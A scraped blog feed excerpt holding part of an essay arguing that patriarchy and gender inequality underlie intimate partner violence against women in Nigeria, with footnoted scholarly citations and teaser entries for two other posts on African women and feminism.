Allan Johnson affirms that a patriarchal society is one that bestows privileges and power to men, thereby allowing for male domination.[3] This, therefore, creates inequality between men and women. Men tend to fill top positions across all institutions ranging from political, social, and religious settings. Nigerian female survivors of intimate partner violence are encouraged to accept their fate as it is taken as a normal phenomenon as the society stigmatizes any woman who attempts divorce or separation. Catherine Oluyemo and Tolulope Ola also assert that patriarchy allows for the subjugation and subservience of women and as such, leads to the infringement of their rights.[4] Interestingly, survivors are expected to strive on in the abusive relationship like nothing wrong ever happened or is happening. This affirms how the societal inequality has eaten deep into the family which naturally should serve as a haven. Generally, the family is known to be the basic unit of the society with a strong tie, but it is disheartening that violence erupts from it. Patricia Hill Collins maintains that “one dimension of family as a privileged exemplar of intersectionality lies in how it reconciles the contradictory relationship between equality. . . the traditional family ideally projects a model of equality.”[5] She argues that family units serve as an instrument for the violation of women. The intersectionality that arises from the family unit leaves one questioning the idea of family as a setting where love erupts, and security abounds. Research suggests that the issue of women being violated and subjugated in society is an outcome of a longstanding belief and a global idea that men are superior to women. Therefore, I argue that gender inequality is the basis for all forms of violence against women in the society.

[To be continued…]

https://www.google.com/url?sa=i&url=https%3A%2F%2Fnollyculture.blogspot.com%2F2018%2F01%2Fnigerian-marriages-and-trauma-of.html&psig=AOvVaw1AMqcG24c3R2V9ZrUL5wEd&ust=1607476227118000&source=images&cd=vfe&ved=0CAIQjRxqFwoTCLCB4Pibve0CFQAAAAAdAAAAABAK

BIBLIOGRAPHY

Silove, Derrick & Brooks, Robert & Bateman-Steel, Catherine & Steel, Zachary & Hewage, Kalhari & Rodger, James & Soosay, Ian. (2009). Explosive anger as a response to human rights violations in post-conflict Timor-Leste. Social science & medicine (1982). 69. 670-7. 10.1016/j.socscimed.2009.06.030.

[1] “Domestic and Marital Violence Among Three Ethnic Groups in Nigeria.” Journal of Interpersonal Violence 32, no. 18 (September 2017): 2751. https://doi:10.1177/0886260515596147 .

[2] Ibid., 2752.

[3] The Gender Knot: Unraveling Our Patriarchal Legacy. Philadelphia: Temple University Press, (1997): 5 https://search-ebscohost-com.iris.etsu.edu:3443/login.aspx?direct=true&AuthType=cookie,ip,url,uid,athens&db=nlebk&AN=51281&site=ehost-live

[4] “The Rights of Nigerian Women In A Patriarchal Society: Implication For Development.” Journal of Research in Gender Studies, 4, no. 2, (2014): 375. https://login.iris.etsu.edu:3443/login?url=https://search.proquest.com/docview/1645383659?accountid=10771

[5] “It’s All in the Family: Intersections of Gender, Race, and Nation.” Hypatia 13, no. 3 (1998): 64. http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.457.6652&rep=rep1&type=pdf

]]> https://tobioloyede.com/anger-as-a-response-to-intimate-partner-violence-in-nigeria-part-1/feed/ 0 Where Is the Place of A Woman in Africa? An Overview of Precolonial Africa https://tobioloyede.com/where-is-the-place-of-a-woman-in-africa-an-overview-of-precolonial-africa/ https://tobioloyede.com/where-is-the-place-of-a-woman-in-africa-an-overview-of-precolonial-africa/#respond Sun, 26 Jul 2020 04:58:23 +0000 https://tobioloyedesblog.wordpress.com/?p=300

So many questions to ask: where is the place of an African woman? Is her place in the kitchen? Is patriarchy African? Better still, what does …

Where Is the Place of A Woman in Africa? An Overview of Precolonial Africa
]]> https://tobioloyede.com/where-is-the-place-of-a-woman-in-africa-an-overview-of-precolonial-africa/feed/ 0 Am I A Feminist? https://tobioloyede.com/am-i-a-feminist/ https://tobioloyede.com/am-i-a-feminist/#respond Tue, 21 Apr 2020 10:42:31 +0000 https://tobioloyedesblog.wordpress.com/2020/04/21/am-i-a-feminist/

Am I a feminist? What is your perception of my personality? I have had people ask me this question and  I tend to answer differently.  I often reply,…

Am I A Feminist?
]]> https://tobioloyede.com/am-i-a-feminist/feed/ 0